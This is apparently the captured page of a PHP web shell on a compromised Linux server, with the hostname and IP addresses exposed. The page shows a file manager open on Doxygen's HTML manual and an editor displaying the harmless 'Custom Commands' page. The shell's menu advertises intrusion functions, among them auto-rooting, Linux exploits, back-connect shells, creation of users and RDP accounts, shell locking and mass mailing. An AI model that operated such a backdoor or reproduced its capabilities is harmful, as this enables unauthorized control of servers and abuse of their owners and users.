Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.152
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
doxygen-1.8.5 /
html /
[ HOME SHELL ]
Name
Size
Permission
Action
arch.html
12.27
KB
-rw-r--r--
archoverview.gif
7.64
KB
-rw-r--r--
autolink.html
10.66
KB
-rw-r--r--
bc_s.png
624
B
-rw-r--r--
bdwn.png
139
B
-rw-r--r--
changelog.html
110.51
KB
-rw-r--r--
closed.png
125
B
-rw-r--r--
commands.html
138.41
KB
-rw-r--r--
config.html
201.27
KB
-rw-r--r--
custcmd.html
6.49
KB
-rw-r--r--
customize.html
19.92
KB
-rw-r--r--
diagrams.html
8.7
KB
-rw-r--r--
docblocks.html
64.54
KB
-rw-r--r--
doxygen.png
3.45
KB
-rw-r--r--
doxygen_logo.gif
29.16
KB
-rw-r--r--
doxygen_logo_low.gif
3.86
KB
-rw-r--r--
doxygen_manual.css
18.53
KB
-rw-r--r--
doxygen_usage.html
6.77
KB
-rw-r--r--
doxywizard_expert.png
29.35
KB
-rw-r--r--
doxywizard_main.png
55.86
KB
-rw-r--r--
doxywizard_menu.png
57.29
KB
-rw-r--r--
doxywizard_page1.png
38.72
KB
-rw-r--r--
doxywizard_page2.png
38.13
KB
-rw-r--r--
doxywizard_page3.png
49.71
KB
-rw-r--r--
doxywizard_page4.png
42.69
KB
-rw-r--r--
doxywizard_usage.html
8.22
KB
-rw-r--r--
dynsections.js
2.91
KB
-rw-r--r--
external.html
6.73
KB
-rw-r--r--
extsearch.html
17.38
KB
-rw-r--r--
extsearch_flow.png
20.57
KB
-rw-r--r--
faq.html
14.27
KB
-rw-r--r--
features.html
8.14
KB
-rw-r--r--
form_0.png
354
B
-rw-r--r--
form_1.png
351
B
-rw-r--r--
form_10.png
889
B
-rw-r--r--
form_11.png
456
B
-rw-r--r--
form_12.png
302
B
-rw-r--r--
form_2.png
366
B
-rw-r--r--
form_3.png
702
B
-rw-r--r--
form_4.png
2.12
KB
-rw-r--r--
form_5.png
2.51
KB
-rw-r--r--
form_6.png
538
B
-rw-r--r--
form_7.png
610
B
-rw-r--r--
form_8.png
217
B
-rw-r--r--
form_9.png
368
B
-rw-r--r--
formula.repository
753
B
-rw-r--r--
formulas.html
6.38
KB
-rw-r--r--
ftv2blank.png
86
B
-rw-r--r--
ftv2cl.png
416
B
-rw-r--r--
ftv2doc.png
652
B
-rw-r--r--
ftv2folderclosed.png
493
B
-rw-r--r--
ftv2folderopen.png
505
B
-rw-r--r--
ftv2lastnode.png
86
B
-rw-r--r--
ftv2link.png
652
B
-rw-r--r--
ftv2mlastnode.png
241
B
-rw-r--r--
ftv2mnode.png
241
B
-rw-r--r--
ftv2mo.png
373
B
-rw-r--r--
ftv2node.png
86
B
-rw-r--r--
ftv2ns.png
370
B
-rw-r--r--
ftv2plastnode.png
227
B
-rw-r--r--
ftv2pnode.png
227
B
-rw-r--r--
ftv2splitbar.png
282
B
-rw-r--r--
ftv2vertline.png
86
B
-rw-r--r--
grouping.html
12.63
KB
-rw-r--r--
htmlcmds.html
14.46
KB
-rw-r--r--
index.html
11.39
KB
-rw-r--r--
infoflow.png
98.24
KB
-rw-r--r--
install.html
16.32
KB
-rw-r--r--
jquery.js
133.32
KB
-rw-r--r--
langhowto.html
27.4
KB
-rw-r--r--
lists.html
5.4
KB
-rw-r--r--
markdown.html
26.65
KB
-rw-r--r--
nav_f.png
136
B
-rw-r--r--
nav_g.png
93
B
-rw-r--r--
nav_h.png
93
B
-rw-r--r--
navtree.css
1.99
KB
-rw-r--r--
navtree.js
35.96
KB
-rw-r--r--
navtreeindex0.js
8.87
KB
-rw-r--r--
navtreeindex1.js
2.4
KB
-rw-r--r--
open.png
115
B
-rw-r--r--
output.html
5.52
KB
-rw-r--r--
pages.html
8.48
KB
-rw-r--r--
perlmod.html
11.26
KB
-rw-r--r--
perlmod_tree.html
23.51
KB
-rw-r--r--
preprocessing.html
11.38
KB
-rw-r--r--
resize.js
2.59
KB
-rw-r--r--
searching.html
10.9
KB
-rw-r--r--
searching.js
773
B
-rw-r--r--
starting.html
20.07
KB
-rw-r--r--
sync_off.png
815
B
-rw-r--r--
sync_on.png
809
B
-rw-r--r--
tab_a.png
124
B
-rw-r--r--
tab_b.png
149
B
-rw-r--r--
tab_h.png
145
B
-rw-r--r--
tab_s.png
156
B
-rw-r--r--
tabs.css
1.14
KB
-rw-r--r--
trouble.html
8.82
KB
-rw-r--r--
xmlcmds.html
8.39
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : custcmd.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <meta name="generator" content="Doxygen 1.8.5"/> <title>Doxygen: Custom Commands</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="navtree.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="resize.js"></script> <script type="text/javascript" src="navtree.js"></script> <script type="text/javascript"> $(document).ready(initResizable); $(window).load(resizeHeight); </script> <link href="doxygen_manual.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">Doxygen </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.5 --> </div><!-- top --> <div id="side-nav" class="ui-resizable side-nav-resizable"> <div id="nav-tree"> <div id="nav-tree-contents"> <div id="nav-sync" class="sync"></div> </div> </div> <div id="splitbar" style="-moz-user-select:none;" class="ui-resizable-handle"> </div> </div> <script type="text/javascript"> $(document).ready(function(){initNavTree('custcmd.html','');}); </script> <div id="doc-content"> <div class="header"> <div class="headertitle"> <div class="title">Custom Commands </div> </div> </div><!--header--> <div class="contents"> <div class="toc"><h3>Table of Contents</h3> <ul><li class="level1"><a href="#custcmd_simple">Simple aliases</a></li> <li class="level1"><a href="#custcmd_complex">Aliases with arguments</a></li> <li class="level1"><a href="#custcmd_nesting">Nesting custom command</a></li> </ul> </div> <div class="textblock"><p>Doxygen provides a large number of <a class="el" href="commands.html">special commands</a>, <a class="el" href="xmlcmds.html">XML commands</a>, and <a class="el" href="htmlcmds.html">HTML commands</a>. that can be used to enhance or structure the documentation inside a comment block. If you for some reason have a need to define new commands you can do so by means of an <em>alias</em> definition.</p> <p>The definition of an alias should be specified in the configuration file using the <a class="el" href="config.html#cfg_aliases">ALIASES</a> configuration tag.</p> <h1><a class="anchor" id="custcmd_simple"></a> Simple aliases</h1> <p>The simplest form of an alias is a simple substitution of the form </p> <pre class="fragment"> name=value </pre><p> For example defining the following alias: </p> <pre class="fragment"> ALIASES += sideeffect="\par Side Effects:\n" </pre><p> will allow you to put the command \sideeffect (or @sideeffect) in the documentation, which will result in a user-defined paragraph with heading <b>Side Effects:</b>.</p> <p>Note that you can put \n's in the value part of an alias to insert newlines.</p> <p>Also note that you can redefine existing special commands if you wish.</p> <p>Some commands, such as <a class="el" href="commands.html#cmdxrefitem">\xrefitem</a> are designed to be used in combination with aliases.</p> <h1><a class="anchor" id="custcmd_complex"></a> Aliases with arguments</h1> <p>Aliases can also have one or more arguments. In the alias definition you then need to specify the number of arguments between curly braces. In the value part of the definition you can place \x markers, where 'x' represents the argument number starting with 1.</p> <p>Here is an example of an alias definition with a single argument: </p> <pre class="fragment">ALIASES += l{1}="\ref \1" </pre><p>Inside a comment block you can use it as follows </p> <pre class="fragment">/** See \l{SomeClass} for more information. */ </pre><p> which would be the same as writing </p> <pre class="fragment">/** See \ref SomeClass for more information. */ </pre><p>Note that you can overload an alias by a version with multiple arguments, for instance: </p> <pre class="fragment">ALIASES += l{1}="\ref \1" ALIASES += l{2}="\ref \1 \"\2\"" </pre><p> Note that the quotes inside the alias definition have to be escaped with a backslash.</p> <p>With these alias definitions, we can write </p> <pre class="fragment">/** See \l{SomeClass,Some Text} for more information. */ </pre><p> inside the comment block and it will expand to </p> <pre class="fragment">/** See \ref SomeClass "Some Text" for more information. */ </pre><p> where the command with a single argument would still work as shown before.</p> <p>Aliases can also be expressed in terms of other aliases, e.g. a new command \reminder can be expressed as a \xrefitem via an intermediate \xreflist command as follows: </p> <pre class="fragment">ALIASES += xreflist{3}="\xrefitem \1 \"\2\" \"\3\" " \ ALIASES += reminder="\xreflist{reminders,Reminder,Reminders}" \ </pre><p>Note that if for aliases with more than one argument a comma is used as a separator, if you want to put a comma inside the command, you will need to escape it with a backslash, i.e. </p> <pre class="fragment">\l{SomeClass,Some text\, with an escaped comma} </pre><p> given the alias definition of \l in the example above.</p> <h1><a class="anchor" id="custcmd_nesting"></a> Nesting custom command</h1> <p>You can use commands as arguments of aliases, including commands defined using aliases.</p> <p>As an example consider the following alias definitions</p> <pre class="fragment">ALIASES += Bold{1}="<b>\1</b>" ALIASES += Emph{1}="<em>\1</em>" </pre><p>Inside a comment block you can now use: </p> <pre class="fragment">/** This is a \Bold{bold \Emph{and} Emphasized} text fragment. */ </pre><p> which will expand to </p> <pre class="fragment">/** This is a <b>bold <em>and</em> Emphasized</b> text fragment. */ </pre> <br/> Go to the <a href="external.html">next</a> section or return to the <a href="index.html">index</a>. </div></div><!-- contents --> </div><!-- doc-content --> <!-- start footer part --> <div id="nav-path" class="navpath"><!-- id is needed for treeview function! --> <ul> <li class="footer">Generated by <a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.8.5 </li> </ul> </div> </body> </html>
Close